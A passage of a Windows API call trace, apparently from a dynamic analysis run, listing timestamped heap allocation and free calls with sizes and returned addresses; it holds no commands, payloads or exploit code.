Flags=0x8, Size=0x40) returned 0x21f97f8 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed258 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9840 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2f8 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9888 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed308 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed318) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9918) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed328) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9960) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed338) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed348) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed630) returned 1 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed630 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed348 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed338 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9960 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed328 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9918 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed318 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f97f8) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed268) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9840) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed258) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9888) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2f8) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed308) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed648) returned 1 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed648 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed308 [0044.540] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed308) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed648) returned 1 [0044.540] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed348) returned 1 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9960) returned 1 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed338) returned 1 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9918) returned 1 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed328) returned 1 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed318) returned 1 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed630) returned 1 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed630 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed318 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9918 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed328 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9960 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed338 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed348 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x20) returned 0x21eff98 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed630) returned 1 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed308 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9888 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2f8 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9840 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed258 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f97f8 [0044.541] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.541] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed268 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f97b0 [0044.542] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x30) returned 0x21edd90 [0044.542] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eff98) returned 1 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed278 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0044.542] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3e8 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9cc0 [0044.542] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3f8 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d08 [0044.542] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed408 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d50 [0044.542] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.542] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21edd90) returned 1 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed418 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0044.542] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed428 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9e28 [0044.542] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed438 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3610 [0044.542] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.542] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed448 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3658 [0044.543] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x50) returned 0x21edd90 [0044.543] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed458 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x50) returned 0x21f9e98 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed468 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed478 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f36a0 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed488 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f36e8 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed498 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3730 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4a8 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3778 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4b8 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f37c0 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4c8 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3808 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4d8 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3850 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4e8 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3898 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4f8 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f38e0 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed508 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3928 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed518 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3970 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed528 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f39b8 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed538 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3a00 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed548 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3a48 [0044.543] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed558 [0044.544] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3a90 [0044.544] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed568 [0044.544] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3ad8 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9918) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed318) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9960) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed328) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed338) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed348) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9888) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed308) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9840) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2f8) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f97f8) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed258) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f97b0) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed268) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed278) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9cc0) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3e8) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d08) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3f8) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d50) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed408) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed418) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9e28) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed428) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3610) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed438) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3658) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed448) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed458) returned 1 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21edd90) returned 1 [0044.544] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.544] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed630 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed458 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed448 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9e28 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed438 [0044.545] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0044.546] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed428 [0044.546] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d50 [0044.546] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x20) returned 0x21eff98 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed630) returned 1 [0044.546] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed418 [0044.546] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d08 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed468) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f36a0) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed478) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f36e8) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed488) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3730) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed498) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3778) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4a8) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f37c0) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4b8) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3808) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4c8) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3850) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4d8) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3898) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4e8) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f38e0) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4f8) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3928) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed508) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, 